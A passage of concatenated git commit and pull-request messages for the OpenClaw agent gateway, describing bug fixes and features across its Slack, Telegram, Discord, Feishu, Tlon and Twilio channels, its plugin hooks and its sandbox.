after webhookServer.start() failed (e.g. manager.initialize). The
server kept the port bound while the runtime promise rejected.
3. ensureRuntime() cached the rejected promise forever, so subsequent
calls would re-throw the same error without ever retrying. Combined
with (2), the port stayed orphaned until gateway restart.
Fixes#32387
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(agents): recognize connection errors as retryable timeout failures
## Problem
When a model endpoint becomes unreachable (e.g., local proxy down,
relay server offline), the failover system fails to switch to the
next candidate model. Errors like "Connection error." are not
classified as retryable, causing the session to hang on a broken
endpoint instead of falling back to healthy alternatives.
## Root Cause
Connection/network errors are not recognized by the current failover
classifier:
- Text patterns like "Connection error.", "fetch failed", "network error"
- Error codes like ECONNREFUSED, ENOTFOUND, EAI_AGAIN (in message text)
While `failover-error.ts` handles these as error codes (err.code),
it misses them when they appear as plain text in error messages.
## Solution
Extend timeout error patterns to include connection/network failures:
**In `errors.ts` (ERROR_PATTERNS.timeout):**
- Text: "connection error", "network error", "fetch failed", etc.
- Regex: /\beconn(?:refused|reset|aborted)\b/i, /\benotfound\b/i, /\beai_again\b/i
**In `failover-error.ts` (TIMEOUT_HINT_RE):**
- Same patterns for non-assistant error paths
## Testing
Added test cases covering:
- "Connection error."
- "fetch failed"
- "network error: ECONNREFUSED"
- "ENOTFOUND" / "EAI_AGAIN" in message text
## Impact
- **Compatibility:** High - only expands retryable error detection
- **Behavior:** Connection failures now trigger automatic fallback
- **Risk:** Low - changes are additive and well-tested
* style: fix code formatting for test file
Google's loadCodeAssist API rejects "LINUX" as an invalid Platform enum
value, causing OAuth setup to fail with 400 Bad Request on Linux systems.
The pi-ai runtime already uses "PLATFORM_UNSPECIFIED" for this field.
This aligns the extension's discoverProject() with that approach by
returning "PLATFORM_UNSPECIFIED" for Linux (and other non-Windows/macOS
platforms) instead of "LINUX".
Also fixes the original resolvePlatform() which incorrectly fell through
to "MACOS" as default instead of explicitly checking for "darwin".
The parent `.chat-text` applies `overflow-wrap: anywhere; word-break: break-word;`
which forces long tokens (UUIDs, hashes) inside inline `<code>` to break across
visual lines. When copied, the browser injects spaces at those break points,
corrupting the pasted value.
Override with `overflow-wrap: normal; word-break: keep-all;` on inline `<code>`
selectors so tokens stay intact.
Fixes#32230
Signed-off-by: HCL <chenglunhu@gmail.com>
Tighten installer/runtime consistency so users on Node 22.0-22.11 are blocked before install/runtime drift, with cleaner CLI guidance.
- Enforce Node >=22.12 in scripts/install.sh preflight checks
- Align installer messages to the same 22.12+ runtime floor
- Replace openclaw.mjs thrown version error with stderr+exit to avoid noisy stack traces
Surface a clear Node 22.12+ requirement before npm/install bootstrap work so users avoid misleading downstream errors.
- Add installer shell preflight to block active Node <22 and suggest NVM recovery commands
- Add openclaw.mjs runtime preflight for npm/npx usage with explicit Node version guidance
- Keep messaging actionable for both NVM and non-NVM environments
When a Slack bot is removed from a workspace while still configured in
OpenClaw, the gateway enters an infinite retry loop on account_inactive
or invalid_auth errors, making the entire gateway unresponsive.
Add isNonRecoverableSlackAuthError() to detect permanent credential
failures (account_inactive, invalid_auth, token_revoked, etc.) and
throw immediately instead of retrying. This mirrors how the Telegram
provider already distinguishes recoverable network errors from fatal
auth errors via isRecoverableTelegramNetworkError().
The check is applied in both the startup catch block and the disconnect
reconnect path so stale credentials always fail fast with a clear error
message.
Closes#32366
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Add requestHeartbeatNow to PluginRuntime.system so extensions can
trigger an immediate heartbeat wake without importing internal modules.
This enables extensions to inject a system event and wake the agent
in one step — useful for inbound message handlers that use the
heartbeat model (e.g. agent-to-agent DMs via Nostr).
Changes:
- src/plugins/runtime/types.ts: add RequestHeartbeatNow type alias
and requestHeartbeatNow to PluginRuntime.system
- src/plugins/runtime/index.ts: import and wire requestHeartbeatNow
into createPluginRuntime()
* feat(hooks): add trigger and channelId to plugin hook agent context
Adds `trigger` and `channelId` fields to `PluginHookAgentContext` so
plugins can determine what initiated the agent run and which channel
it originated from, without session-key parsing or Redis bridging.
trigger values: "user", "heartbeat", "cron", "memory"
channelId values: "telegram", "discord", "whatsapp", etc.
Both fields are threaded through run.ts and attempt.ts hookCtx so all
hook phases receive them (before_model_resolve, before_prompt_build,
before_agent_start, llm_input, llm_output, agent_end).
channelId falls back from messageChannel to messageProvider when the
former is not set. followup-runner passes originatingChannel so queued
followup runs also carry channel context.
* docs(changelog): note hook context parity fix for #28623
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
## Overview
This PR enables external channel plugins (loaded via Plugin SDK) to access
advanced runtime features like AI response dispatching, which were previously
only available to built-in channels.
## Changes
### src/gateway/server-channels.ts
- Import PluginRuntime type
- Add optional channelRuntime parameter to ChannelManagerOptions
- Pass channelRuntime to channel startAccount calls via conditional spread
- Ensures backward compatibility (field is optional)
### src/gateway/server.impl.ts
- Import createPluginRuntime from plugins/runtime
- Create and pass channelRuntime to channel manager
### src/channels/plugins/types.adapters.ts
- Import PluginRuntime type
- Add comprehensive documentation for channelRuntime field
- Document available features, use cases, and examples
- Improve type safety (use imported PluginRuntime type vs inline import)
## Benefits
External channel plugins can now:
- Generate AI-powered responses using dispatchReplyWithBufferedBlockDispatcher
- Access routing, text processing, and session management utilities
- Use command authorization and group policy resolution
- Maintain feature parity with built-in channels
## Backward Compatibility
- channelRuntime field is optional in ChannelGatewayContext
- Conditional spread ensures it's only passed when explicitly provided
- Existing channels without channelRuntime support continue to work unchanged
- No breaking changes to channel plugin API
## Testing
- Email channel plugin successfully uses channelRuntime for AI responses
- All existing built-in channels (slack, discord, telegram, etc.) work unchanged
- Gateway loads and runs without errors when channelRuntime is provided
Take the safe, tested subset from #32367:\n- per-channel startup connect grace in health monitor\n- tool-context channel-provider fallback for message actions\n\nCo-authored-by: Munem Hashmi <munem.hashmi@gmail.com>
- Pass gfm:true + breaks:true explicitly to marked.parse() so table
support is guaranteed even if global setOptions() is bypassed or
reset by a future refactor (defense-in-depth)
- Add display:block + overflow-x:auto to .chat-text table so wide
multi-column tables scroll horizontally instead of being clipped
by the parent overflow-x:hidden chat container
- Add regression tests for GFM table rendering in markdown.test.ts
* fix(feishu): skip typing indicator keepalive re-adds to prevent notification spam
The typing keepalive loop calls addTypingIndicator() every 3 seconds,
which creates a new messageReaction.create API call each time. Feishu
treats each re-add as a new reaction event and fires a push notification,
causing users to receive repeated notifications while waiting for a
response.
Unlike Telegram/Discord where typing status expires after a few seconds,
Feishu reactions persist until explicitly removed. Skip the keepalive
re-add when a reaction already exists (reactionId is set) since there
is no need to refresh it.
Closes#28660
* Changelog: note Feishu typing keepalive suppression
---------
Co-authored-by: yuxh1996 <yuxh1996@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
When abortSignal is already aborted at lifecycle start, onAbort() fires
synchronously and pushes connected: false. Without a lifecycleStopping
guard, the subsequent gateway.isConnected check could push a spurious
connected: true, contradicting the shutdown.
Adds !lifecycleStopping to the isConnected guard and a test verifying
no connected: true is emitted when the signal is pre-aborted.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When the Discord gateway completes its READY handshake before
`runDiscordGatewayLifecycle` registers its debug event listener, the
initial "WebSocket connection opened" event is missed. This leaves
`connected` as undefined in the channel runtime, causing the health
monitor to treat the channel as "stuck" and restart it every check
cycle.
Check `gateway.isConnected` immediately after registering the debug
listener and push the initial connected status if the gateway is
already connected.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The cron delivery path short-circuits with an error when `toCandidate` is
falsy (line 151), before reaching `resolveOutboundTarget()` which provides
the `plugin.config.resolveDefaultTo()` fallback. The direct send path in
`targets.ts` already uses this fallback correctly.
Remove the early `!toCandidate` exit so that `resolveOutboundTarget()`
can attempt the plugin-provided default. Guard the WhatsApp allowFrom
override against falsy `toCandidate` to maintain existing behavior when
a target IS resolved.
Fixes#32355
Signed-off-by: HCL <chenglunhu@gmail.com>
Top-level channel messages were creating isolated per-message sessions because roomThreadId fell through to threadContext.messageTs whenever replyToMode was not off.
Introduced in #10686, every new channel message got its own session key (agent:...🧵<messageTs>), breaking conversation continuity.
Fix: only derive thread-specific session keys for actual thread replies. Top-level channel messages stay on the per-channel session key regardless of replyToMode.
Fixes#32285
The sticker code path called ctx.getFile() directly without retry,
unlike the non-sticker media path which uses resolveTelegramFileWithRetry
(3 attempts with jitter). This made sticker downloads vulnerable to
transient Telegram API failures, particularly in group topics where
file availability can be delayed.
Refs #32326
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
The `forceFlushTranscriptBytes` path (introduced in d729ab21) bypasses the
`memoryFlushCompactionCount` guard that prevents repeated flushes within the
same compaction cycle. Once the session transcript exceeds 2 MB, memory flush
fires on every single message — even when token count is well under the
compaction threshold.
Extract `hasAlreadyFlushedForCurrentCompaction()` from the inline guard in
`shouldRunMemoryFlush` and apply it to both the token-based and the
transcript-size trigger paths.
Fixes#32317
Signed-off-by: HCL <chenglunhu@gmail.com>
Fixes#32293: Discord voice message plays at ~0.5x speed with 24kHz TTS source
When TTS providers (like mlx-audio Qwen3-TTS) output audioHz,
Discord voice at 24k messages play at half speed because Discord expects 48kHz.
This fix adds explicit sample rate conversion to 48kHz in the ensureOggOpus
function, ensuring voice messages always play at correct speed regardless
of the input audio's sample rate.
Co-authored-by: Kevin Shenghui <shenghuikevin@gmail.com>
- Remove vi.hoisted() wrapper from exported mock in shared module
(Vitest cannot export hoisted variables)
- Inline vi.hoisted + vi.mock in startup test so Vitest's per-file
hoisting registers mocks before production imports
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
When gateway.restart is triggered with a reason but no separate note,
the payload sets both message and stats.reason to the same text.
formatRestartSentinelMessage() then emits both the message line and a
redundant 'Reason: <same text>' line, doubling the restart reason in
the notification delivered to the agent session.
Skip the 'Reason:' line when stats.reason matches the already-emitted
message text. Add regression tests for both duplicate and distinct
reason scenarios.
Addresses greptile review: collapses the if-guard + assignment into
a single ??= expression so TypeScript can narrow the type without
a non-null assertion.
Without this fix, the bundler can emit multiple copies of internal-hooks
into separate chunks. registerInternalHook writes to one Map instance
while triggerInternalHook reads from another — resulting in hooks that
silently fire with zero handlers regardless of how many were registered.
Reproduce: load a hook via hooks.external.entries (loader reads one chunk),
then send a message:transcribed event (get-reply imports a different chunk).
The handler list is empty; the hook never runs.
Fix: use globalThis.__openclaw_internal_hook_handlers__ as a shared
singleton. All module copies check for and reuse the same Map, ensuring
registrations are always visible to triggers.
* feat(tlon): sync with openclaw-tlon master
- Add tlon CLI tool registration with binary lookup
- Add approval, media, settings, foreigns, story, upload modules
- Add http-api wrapper for Urbit connection patching
- Update types for defaultAuthorizedShips support
- Fix type compatibility with core plugin SDK
- Stub uploadFile (API not yet available in @tloncorp/api-beta)
- Remove incompatible test files (security, sse-client, upload)
* chore(tlon): remove dead code
Remove unused Urbit channel client files:
- channel-client.ts
- channel-ops.ts
- context.ts
These were not imported anywhere in the extension.
* feat(tlon): add image upload support via @tloncorp/api
- Import configureClient and uploadFile from @tloncorp/api
- Implement uploadImageFromUrl using uploadFile
- Configure API client before media uploads
- Update dependency to github:tloncorp/api-beta#main
* fix(tlon): restore SSRF protection with event ack tracking
- Restore context.ts and channel-ops.ts for SSRF support
- Restore sse-client.ts with urbitFetch for SSRF-protected requests
- Add event ack tracking from openclaw-tlon (acks every 20 events)
- Pass ssrfPolicy through authenticate() and UrbitSSEClient
- Fixes security regression from sync with openclaw-tlon
* fix(tlon): restore buildTlonAccountFields for allowPrivateNetwork
The inlined payload building was missing allowPrivateNetwork field,
which would prevent the setting from being persisted to config.
* fix(tlon): restore SSRF protection in probeAccount
- Restore channel-client.ts for UrbitChannelClient
- Use UrbitChannelClient with ssrfPolicy in probeAccount
- Ensures account probe respects allowPrivateNetwork setting
* feat(tlon): add ownerShip to setup flow
ownerShip should always be set as it controls who receives
approval requests and can approve/deny actions.
* chore(tlon): remove unused http-api.ts
After restoring SSRF protection, probeAccount uses UrbitChannelClient
instead of @urbit/http-api. The http-api.ts wrapper is no longer needed.
* refactor(tlon): simplify probeAccount to direct /~/name request
No channel needed - just authenticate and GET /~/name.
Removes UrbitChannelClient, keeping only UrbitSSEClient for monitor.
* chore(tlon): add logging for event acks
* chore(tlon): lower ack threshold to 5 for testing
* fix(tlon): address security review issues
- Fix SSRF in upload.ts: use urbitFetch with SSRF protection
- Fix SSRF in media.ts: use urbitFetch with SSRF protection
- Add command whitelist to tlon tool to prevent command injection
- Add getDefaultSsrFPolicy() helper for uploads/downloads
* fix(tlon): restore auth retry and add reauth on SSE reconnect
- Add authenticateWithRetry() helper with exponential backoff (restores lost logic from #39)
- Add onReconnect callback to re-authenticate when SSE stream reconnects
- Add UrbitSSEClient.updateCookie() method for proper cookie normalization on reauth
* fix(tlon): add infinite reconnect with reset after max attempts
Instead of giving up after maxReconnectAttempts, wait 10 seconds then
reset the counter and keep trying. This ensures the monitor never
permanently disconnects due to temporary network issues.
* test(tlon): restore security, sse-client, and upload tests
- security.test.ts: DM allowlist, group invite, bot mention detection, ship normalization
- sse-client.test.ts: subscription handling, cookie updates, reconnection params
- upload.test.ts: image upload with SSRF protection, error handling
* fix(tlon): restore DM partner ship extraction for proper routing
- Add extractDmPartnerShip() to extract partner from 'whom' field
- Use partner ship for routing (more reliable than essay.author)
- Explicitly ignore bot's own outbound DM events
- Log mismatch between author and partner for debugging
* chore(tlon): restore ack threshold to 20
* chore(tlon): sync slash commands support from upstream
- Add stripBotMention for proper CommandBody parsing
- Add command authorization logic for owner-only slash commands
- Add CommandAuthorized and CommandSource to context payload
* fix(tlon): resolve TypeScript errors in tests and monitor
- Store validated account url/code before closure to fix type narrowing
- Fix test type annotations for mode rules
- Add proper Response type cast in sse-client mock
- Use optional chaining for init properties
* docs(tlon): update docs for new config options and capabilities
- Document ownerShip for approval system
- Document autoAcceptDmInvites and autoAcceptGroupInvites
- Update status to reflect rich text and image support
- Add bundled skill section
- Update notes with formatting and image details
- Fix pnpm-lock.yaml conflict
* docs(tlon): fix dmAllowlist description and improve allowPrivateNetwork docs
- Correct dmAllowlist: empty means no DMs allowed (not allow all)
- Promote allowPrivateNetwork to its own section with examples
- Add warning about SSRF protection implications
* docs(tlon): clarify ownerShip is auto-authorized everywhere
- Add ownerShip to minimal config example (recommended)
- Document that owner is automatically allowed for DMs and channels
- No need to add owner to dmAllowlist or defaultAuthorizedShips
* docs(tlon): add capabilities table, troubleshooting, and config reference
Align with Matrix docs format:
- Capabilities table for quick feature reference
- Troubleshooting section with common failures
- Configuration reference with all options
* docs(tlon): fix reactions status and expand bundled skill section
- Reactions ARE supported via bundled skill (not missing)
- Add link to skill GitHub repo
- List skill capabilities: contacts, channels, groups, DMs, reactions, settings
* fix(tlon): use crypto.randomUUID instead of Math.random for channel ID
Fixes security test failure - Math.random is flagged as weak randomness.
* docs: fix markdown lint - add blank line before </Step>
* fix: address PR review issues for tlon plugin
- upload.ts: Use fetchWithSsrFGuard directly instead of urbitFetch to
preserve full URL path when fetching external images; add release() call
- media.ts: Same fix - use fetchWithSsrFGuard for external media downloads;
add release() call to clean up resources
- channel.ts: Use urbitFetch for poke API to maintain consistent SSRF
protection (DNS pinning + redirect handling)
- upload.test.ts: Update mocks to use fetchWithSsrFGuard instead of urbitFetch
Addresses blocking issues from jalehman's review:
1. Fixed incorrect URL being fetched (validateUrbitBaseUrl was stripping path)
2. Fixed missing release() calls that could leak resources
3. Restored guarded fetch semantics for poke operations
* docs: add tlon changelog fragment
* style: format tlon monitor
* fix: align tlon lockfile and sse id generation
* docs: fix onboarding markdown list spacing
---------
Co-authored-by: Josh Lehman <josh@martian.engineering>
When controlUiBasePath is set, classifyControlUiRequest returned
method-not-allowed (405) for all non-GET/HEAD requests under basePath,
blocking plugin webhook handlers (BlueBubbles, Mattermost, etc.) from
receiving POST requests. This is a 2026.3.1 regression.
Return not-control-ui instead, matching the empty-basePath behavior, so
requests fall through to plugin HTTP handlers. Remove the now-dead
method-not-allowed type variant, handler branch, and utility function.
Closes#31983Closes#32275
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Twilio signs webhook requests using the URL without the port component,
even when the publicUrl config includes a non-standard port. Add a fallback
that strips the port from the verification URL when initial validation fails,
matching the behavior of Twilio's official helper library.
Closes#6334
Address Greptile review: externally-initiated outbound-api calls were
stored with hardcoded direction: "inbound". Now createWebhookCall accepts
a direction parameter so the CallRecord accurately reflects the event's
actual direction. Also skip inboundGreeting for outbound calls and add a
test asserting inbound direction is preserved.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Fixes#30900 — Calls initiated directly via the Twilio REST API
(Direction=outbound-api) were rejected as "unknown call" because
processEvent only auto-registered calls with direction=inbound.
External outbound-api calls now get registered in the CallManager
so the media stream is accepted. Inbound policy checks still only
apply to true inbound calls.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Bun runs can trigger multiple embedded agent invocations in a single cron
turn (e.g. retries/fallbacks), making assertions against call[0] flaky.
Assert against the last invocation instead.
Address Greptile review: when sessionKey is undefined the fallback
matched any enabled cron job, which could silently suppress the guard
note due to jobs from unrelated sessions. Return false instead so the
note always appears when session scoping is not possible.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Before appending the "I did not schedule a reminder" guard note, check the
cron store for enabled jobs matching the current session key. This prevents
false positives when the agent references an existing cron created in a
prior turn (e.g. "I'll ping you when it's done" while a monitoring cron is
already running).
The check only fires on the rare path where the text matches commitment
patterns AND no cron was added in the current turn, so the added I/O is
negligible.
Closes#32228
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Stickers, voice notes, and captionless photos from the bot also lack
text and caption fields, so the previous check incorrectly classified
them as system messages and suppressed implicitMention.
Switch to checking for Telegram's forum_topic_* / general_forum_topic_*
service-message fields which only appear on actual service messages.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Address Greptile review feedback: bot media messages (photo/video) use
caption instead of text, so they would be incorrectly classified as
system messages. Add !caption guard to the system message check.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When a Telegram Forum topic is created by the bot, Telegram generates a
system message with from.id=botId and empty text. Every subsequent user
message in that topic has reply_to_message pointing to this system
message, causing the implicitMention check to fire and bypassing
requireMention for every single message.
Add a guard that recognises system messages (is_bot=true with no text)
and excludes them from implicit mention detection, so that only genuine
replies to bot messages trigger the bypass.
Closes#32256
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(plugins): expose ephemeral sessionId in tool contexts for per-conversation isolation
The plugin tool context (`OpenClawPluginToolContext`) and tool hook
context (`PluginHookToolContext`) only provided `sessionKey`, which
is a durable channel identifier that survives /new and /reset.
Plugins like mem0 that need per-conversation isolation (e.g. mapping
Mem0 `run_id`) had no way to distinguish between conversations,
causing session-scoped memories to persist unbounded across resets.
Add `sessionId` (ephemeral UUID regenerated on /new and /reset) to:
- `OpenClawPluginToolContext` (factory context for plugin tools)
- `PluginHookToolContext` (before_tool_call / after_tool_call hooks)
- Internal `HookContext` for tool call wrappers
Thread the value from the run attempt through createOpenClawCodingTools
→ createOpenClawTools → resolvePluginTools and through the tool hook
wrapper.
Closes#31253
Made-with: Cursor
* fix(agents): propagate embedded sessionId through tool hook context
* test(hooks): cover sessionId in embedded tool hook contexts
* docs(changelog): add sessionId hook context follow-up note
* test(hooks): avoid toolCallId collision in after_tool_call e2e
---------
Co-authored-by: SidQin-cyber <sidqin0410@gmail.com>
* refactor(skills): use explicit skill-command scope APIs
* test(skills): cover scoped listing and telegram allowlist
* fix(skills): add mergeSkillFilters edge-case tests and simplify dead code
Cover unrestricted-co-tenant and empty-allowlist merge paths in
skill-commands tests. Remove dead ternary in bot-handlers pagination.
Add clarifying comments on undefined vs [] filter semantics.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* refactor(skills): collapse scope functions into single listSkillCommandsForAgents
Replace listSkillCommandsForAgentIds, listSkillCommandsForAllAgents, and
the deprecated listSkillCommandsForAgents with a single function that
accepts optional agentIds and falls back to all agents when omitted.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(skills): harden realpathSync race and add missing test coverage
- Wrap fs.realpathSync in try-catch to gracefully skip workspaces that
disappear between existsSync and realpathSync (TOCTOU race).
- Log verbose diagnostics for missing/unresolvable workspace paths.
- Add test for overlapping allowlists deduplication on shared workspaces.
- Add test for graceful skip of missing workspaces.
- Add test for pagination callback without agent suffix (default agent).
- Clean up temp directories in skill-commands tests.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(telegram): warn when nativeSkillsEnabled but no agent route is bound
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: use runtime.log instead of nonexistent runtime.warn
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
This ensures that when workspaceAccess is set to 'ro' or 'none', the
sandbox workspace (/workspace inside the container) is mounted as
read-only, matching the documented behavior.
Previously, the condition was:
workspaceAccess === 'ro' && workspaceDir === agentWorkspaceDir
This was always false in 'ro' mode because workspaceDir equals
sandboxWorkspaceDir, not agentWorkspaceDir.
Now the logic is simplified:
- 'rw': /workspace is writable
- 'ro': /workspace is read-only
- 'none': /workspace is read-only
The followup runner (which processes queued messages) was calling
runEmbeddedPiAgent without currentChannelId or currentThreadTs.
This meant the message tool's toolContext had no channel routing
info, causing reactions (and other target-inferred actions) to
fail with 'Action react requires a target' on queued messages.
Pass originatingTo as currentChannelId so the message tool can
infer the reaction target from context, matching the behavior
of the initial (non-queued) agent run.
Signal reactions required an explicit messageId parameter, unlike
Telegram which already fell back to toolContext.currentMessageId.
This made agent-initiated reactions fail on Signal because the
inbound message ID was available in tool context but never used.
- Destructure toolContext in Signal action handler
- Fall back to toolContext.currentMessageId when messageId omitted
- Update reaction schema descriptions (not Telegram-specific)
- Add tests for fallback and missing-messageId rejection
Closes#17651
The preflight audio transcription detection used camelCase `contentType`
but Discord's APIAttachment type uses snake_case `content_type`. This
caused `hasAudioAttachment` to always be false, preventing voice message
transcription from triggering in guild channels where mention detection
requires audio preflight.
Fixes#30034
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The /\s+/g whitespace normalizer collapsed newlines along with spaces/tabs,
destroying paragraph structure in multi-line messages before they reached
the LLM. Use /[^\S\n]+/g to only collapse horizontal whitespace while
preserving line breaks.
Closes#32216
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(types): resolve pre-existing TS errors in agent-components and pairing-store
- agent-components.ts: normalizeDiscordAllowList returns {allowAll, ids, names},
not an array — use ids.values().next().value instead of [0] indexing
- pairing-store.ts: add non-null assertions for stat after cache-miss guard
(resolveAllowFromReadCacheOrMissing returns early when stat is null)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(webchat): suppress NO_REPLY token in chat transcript rendering
Filter assistant NO_REPLY-only entries from chat.history responses at
the gateway API boundary and add client-side defense-in-depth guards in
the UI chat controller so internal silent tokens never render as visible
chat bubbles.
Two-layer fix:
1. Gateway: extractAssistantTextForSilentCheck + isSilentReplyText
filter in sanitizeChatHistoryMessages (entry.text takes precedence
over entry.content to avoid dropping messages with real text)
2. UI: isAssistantSilentReply + isSilentReplyStream guards on all 5
message insertion points in handleChatEvent and loadChatHistory
Fixes#32015
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(webchat): align isAssistantSilentReply text/content precedence with gateway
* webchat: tighten NO_REPLY transcript and delta filtering
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Address review feedback: versioned Homebrew formulas (node@22, node@20)
use keg-only paths where the stable symlink is at <prefix>/opt/<formula>/bin/node,
not <prefix>/bin/node. Updated resolveStableNodePath to:
1. Try <prefix>/opt/<formula>/bin/node first (works for both default + versioned)
2. Fall back to <prefix>/bin/node for the default "node" formula
3. Return the original Cellar path if neither stable path exists
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When `openclaw gateway install` runs under Homebrew Node, `process.execPath`
resolves to the versioned Cellar path (e.g. /opt/homebrew/Cellar/node/25.7.0/bin/node).
This path breaks when Homebrew upgrades Node, silently killing the gateway daemon.
Resolve Cellar paths to the stable Homebrew symlink (/opt/homebrew/bin/node)
which Homebrew updates automatically during upgrades.
Closes#32182
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds group context fields to MessageSentHookContext so hooks can
correlate sent events with received events for the same conversation.
Previously, message:received included isGroup/groupId but message:sent
did not, forcing hooks to use mismatched identifiers (e.g. groupId vs
numeric chat ID) when tracking conversations.
Fields are derived from MsgContext in dispatch-from-config and threaded
through route-reply and deliver via the mirror parameter.
Addresses feedback from matskevich (production user, 550+ events)
reported on PR #6797.
Arrow function passed to registerInternalHook was implicitly returning
the number from Array.push(), which is not assignable to void | Promise<void>.
Use block body to discard the return value.
Adds two new internal hook events that fire after media/link processing:
- message:transcribed: fires when audio has been transcribed, providing
the transcript text alongside the original body and media metadata.
Useful for logging, analytics, or routing based on spoken content.
- message:preprocessed: fires for every message after all media + link
understanding completes. Gives hooks access to the fully enriched body
(transcripts, image descriptions, link summaries) before the agent sees it.
Both hooks are added in get-reply.ts, after applyMediaUnderstanding and
applyLinkUnderstanding. message:received and message:sent are already
in upstream (f07bb8e8) and are not duplicated here.
Typed contexts (MessageTranscribedHookContext, MessagePreprocessedHookContext)
and type guards (isMessageTranscribedEvent, isMessagePreprocessedEvent) added
to internal-hooks.ts alongside the existing received/sent types.
Test coverage in src/hooks/message-hooks.test.ts.
* fix(hooks): deduplicate after_tool_call hook in embedded runs
(cherry picked from commit c129a1a74b)
* fix(hooks): propagate sessionKey in after_tool_call context
The after_tool_call hook in handleToolExecutionEnd was passing
`sessionKey: undefined` in the ToolContext, even though the value is
available on ctx.params. This broke plugins that need session context
in after_tool_call handlers (e.g., for per-session audit trails or
security logging).
- Add `sessionKey` to the `ToolHandlerParams` Pick type
- Pass `ctx.params.sessionKey` through to the hook context
- Add test assertion to prevent regression
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit b7117384fc)
* fix(hooks): thread agentId through to after_tool_call hook context
Follow-up to #30511 — the after_tool_call hook context was passing
`agentId: undefined` because SubscribeEmbeddedPiSessionParams did not
carry the agent identity. This threads sessionAgentId (resolved in
attempt.ts) through the session params into the tool handler context,
giving plugins accurate agent-scoped context for both before_tool_call
and after_tool_call hooks.
Changes:
- Add `agentId?: string` to SubscribeEmbeddedPiSessionParams
- Add "agentId" to ToolHandlerParams Pick type
- Pass `agentId: sessionAgentId` at the subscribeEmbeddedPiSession()
call site in attempt.ts
- Wire ctx.params.agentId into the after_tool_call hook context
- Update tests to assert agentId propagation
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit aad01edd3e)
* changelog: credit after_tool_call hook contributors
* Update CHANGELOG.md
* agents: preserve adjusted params until tool end
* agents: emit after_tool_call with adjusted args
* tests: cover adjusted after_tool_call params
* tests: align adapter after_tool_call expectation
---------
Co-authored-by: jbeno <jim@jimbeno.net>
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
* fix(sandbox): prevent Windows PATH from poisoning docker exec shell lookup
On Windows hosts, `buildDockerExecArgs` passes the host PATH env var
(containing Windows paths like `C:\Windows\System32`) to `docker exec -e
PATH=...`. Docker uses this PATH to resolve the executable argument
(`sh`), which fails because Windows paths don't exist in the Linux
container — producing `exec: "sh": executable file not found in $PATH`.
Two changes:
- Skip PATH in the `-e` env loop (it's already handled separately via
OPENCLAW_PREPEND_PATH + shell export)
- Use absolute `/bin/sh` instead of bare `sh` to eliminate PATH
dependency entirely
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* style: add braces around continue to satisfy linter
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(test): update assertion to match /bin/sh in buildDockerExecArgs
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
When a cron agent emits multiple text payloads (narration + tool
summaries) followed by a final HEARTBEAT_OK, the delivery suppression
check `isHeartbeatOnlyResponse` fails because it uses `.every()` —
requiring ALL payloads to be heartbeat tokens. In practice, agents
narrate their work before signaling nothing needs attention.
Fix: check if ANY payload contains HEARTBEAT_OK (`.some()`) while
preserving the media delivery exception (if any payload has media,
always deliver). This matches the semantic intent: HEARTBEAT_OK is
the agent's explicit signal that nothing needs user attention.
Real-world example: heartbeat agent returns 3 payloads:
1. "It's 12:49 AM — quiet hours. Let me run the checks quickly."
2. "Emails: Just 2 calendar invites. Not urgent."
3. "HEARTBEAT_OK"
Previously: all 3 delivered to Telegram. Now: correctly suppressed.
Related: #32013 (fixed a different HEARTBEAT_OK leak path via system
events in timer.ts)
* fix(extensions/feishu/src/reply-dispatcher.ts): missing privacy check / data leak
Pattern from PR #24969
The fix addresses the critical race condition by placing the 'block' filter check at the very top of the `deliver` function. This ensures that for internal 'block' reasoning chunks, the function returns immediately, preventing any text processing (lines 195-203) and, crucially, preventing the initialization of the streaming state for these payloads (lines 212-216). This ensures that the `streaming` object is not initialized with empty data, and subsequent 'final' payloads will correctly initialize and stream only the final content. The fix also addresses the 'incomplete' validation issue by using `info?.kind !== 'block'`. While the contract likely ensures `info` is present, this defensive approach ensures that if `info` is missing (and the payload is unrelated to internal blocking), the message is still delivered to the user, preventing a 'silent failure' bug. The validation logic at line 205 (`!hasText && !hasMedia`) ensures we do not send empty messages.
* Fix indentation: remove extra 4 spaces from deliver function body
